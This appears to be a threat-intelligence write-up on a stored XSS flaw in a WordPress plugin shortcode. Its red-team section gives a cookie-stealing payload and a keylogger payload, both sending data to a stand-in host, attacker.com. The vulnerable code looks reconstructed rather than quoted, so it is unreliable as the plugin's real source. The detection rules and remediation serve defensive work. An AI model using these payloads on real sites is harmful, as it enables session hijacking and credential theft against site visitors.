CVE-2024-12496

Executive Summary

CVE-2024-12496 is a Stored Cross-Site Scripting (XSS) vulnerability in the Linear plugin for WordPress, affecting all versions up to and including 2.7.12. The flaw resides in the linear_block_buy_commissions shortcode, where user-supplied attributes are not properly sanitized or escaped. This allows authenticated attackers with contributor-level access or higher to inject arbitrary web scripts into pages. When other users (including administrators) visit the compromised page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or further compromise of the WordPress site.

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem. The Linear plugin is a third-party component that extends WordPress functionality. The attack vector relies on the plugin’s failure to sanitize shortcode attributes, a common issue in WordPress plugins. No Apache or Nginx server misconfiguration is involved.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely via HTTP requests.
• Attack Complexity (AC): Low (L) – No special conditions are required; the attacker simply needs to create or edit a post with the malicious shortcode.
• Privileges Required (PR): Low (L) – The attacker must have contributor-level access or higher to the WordPress site.
• User Interaction (UI): None (N) – The victim does not need to perform any action beyond visiting the page.
• Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component (e.g., steal cookies from other domains).
• Confidentiality (C): Low (L) – Limited information disclosure possible (e.g., session tokens).
• Integrity (I): Low (L) – The attacker can modify content within the victim’s session.
• Availability (A): None (N) – No impact on availability.

CVSS Score: 6.4 (Medium)
Threat Level: Medium – Exploitation requires authenticated access but can lead to significant downstream attacks.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS in a WordPress shortcode. The linear_block_buy_commissions shortcode is used to display commission-related content. The plugin fails to sanitize user-supplied attributes (e.g., title, link, class) before rendering them in the HTML output. An attacker with contributor-level access can create a post or page containing:

[linear_block_buy_commissions title="<script>alert('XSS')</script>"]

When the shortcode is processed, the title attribute is inserted directly into the page’s HTML without escaping, causing the script to execute in the browser of any visitor.

The attack flow:

1. Attacker logs in with contributor credentials.
2. Attacker creates a new post or edits an existing one.
3. Attacker inserts the malicious shortcode with a crafted attribute.
4. The post is saved and published (or left as a draft if the attacker has permission).
5. Any user (including admins) viewing the page triggers the XSS payload.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 2.7.12):

// In shortcode handler
function linear_block_buy_commissions_shortcode($atts) {
    $atts = shortcode_atts(array(
        'title' => 'Default Title',
        'link' => '#',
        'class' => ''
    ), $atts);
    $output = '<div class="linear-commissions ' . $atts['class'] . '">';
    $output .= '<a href="' . $atts['link'] . '">' . $atts['title'] . '</a>';
    $output .= '</div>';
    return $output;
}

Patched Code (hypothetical fix):

function linear_block_buy_commissions_shortcode($atts) {
    $atts = shortcode_atts(array(
        'title' => 'Default Title',
        'link' => '#',
        'class' => ''
    ), $atts);
    // Sanitize and escape output
    $safe_class = esc_attr($atts['class']);
    $safe_link = esc_url($atts['link']);
    $safe_title = esc_html($atts['title']);
    $output = '<div class="linear-commissions ' . $safe_class . '">';
    $output .= '<a href="' . $safe_link . '">' . $safe_title . '</a>';
    $output .= '</div>';
    return $output;
}

The patched version uses esc_attr(), esc_url(), and esc_html() to properly escape output, preventing script injection.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• WordPress site with Linear plugin <= 2.7.12.
• Contributor-level account or higher.

Exploitation Steps:

1. Log in to WordPress as a contributor.
2. Navigate to Posts > Add New.
3. In the editor, switch to Text mode and insert:

   [linear_block_buy_commissions title="<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>"]
   

4. Publish the post.
5. Wait for an admin or other user to visit the page.
6. The victim’s browser sends their cookies to the attacker’s server.

Alternative Payload (keylogger):

[linear_block_buy_commissions title="<script>document.onkeypress=function(e){new Image().src='https://attacker.com/k?k='+e.key}</script>"]

Blue Team (Defender)

Detection Steps:

1. Monitor WordPress logs for posts containing [linear_block_buy_commissions with suspicious attributes.
2. Use a web application firewall (WAF) to block requests containing <script> in shortcode attributes.
3. Regularly scan for known malicious payloads using YARA rules (see Detection Engineering).

Lab Setup:

• Install WordPress 6.x on a local server.
• Install Linear plugin version 2.7.12.
• Create a contributor user.
• Recreate the attack in a sandboxed environment.

Indicators of Compromise (IOCs)

• File-based:

  • Presence of posts/pages containing [linear_block_buy_commissions with unescaped HTML/JavaScript.
  • Modified wp_posts table entries with post_content containing <script> tags.

• Network-based:

  • Outbound HTTP requests to attacker-controlled domains from the WordPress server.
  • Suspicious Referer headers pointing to pages with the malicious shortcode.

• Log-based:

  • WordPress audit logs showing creation/editing of posts by contributor users with unusual shortcode attributes.
  • Web server logs showing requests to pages containing the malicious shortcode.

Detection Engineering

YARA Rule

rule CVE_2024_12496_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads targeting CVE-2024-12496 in WordPress Linear plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-12496"
    strings:
        $shortcode = /\[linear_block_buy_commissions\s[^\]]*?title\s*=\s*["'][^"']*?<script/i
        $payload = /<script[^>]*>.*?<\/script>/i
    condition:
        $shortcode and $payload
}

Sigma Rule

title: CVE-2024-12496 Stored XSS in Linear Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests containing the malicious shortcode pattern
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'linear_block_buy_commissions'
        cs-uri-query|re: 'title=.*<script'
    condition: selection
falsepositives:
    - Legitimate use of the shortcode with safe attributes (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-12496 Stored XSS in Linear Plugin"; flow:to_server,established; content:"linear_block_buy_commissions"; http_uri; pcre:"/title\s*=\s*["'][^"']*?<script/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Linear plugin until a patch is available.
2. Restrict contributor-level access to trusted users only.
3. Use a WAF to block requests containing <script> in shortcode attributes.

Long-term Fix:

• Apply the vendor patch when released (currently UNKNOWN).
• If no patch is forthcoming, consider replacing the plugin with an alternative.

Workaround:

• Manually edit the plugin’s shortcode handler to add output escaping (see Patched Code section).

Monitoring:

• Enable WordPress audit logging.
• Review posts created by contributors for suspicious shortcode usage.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert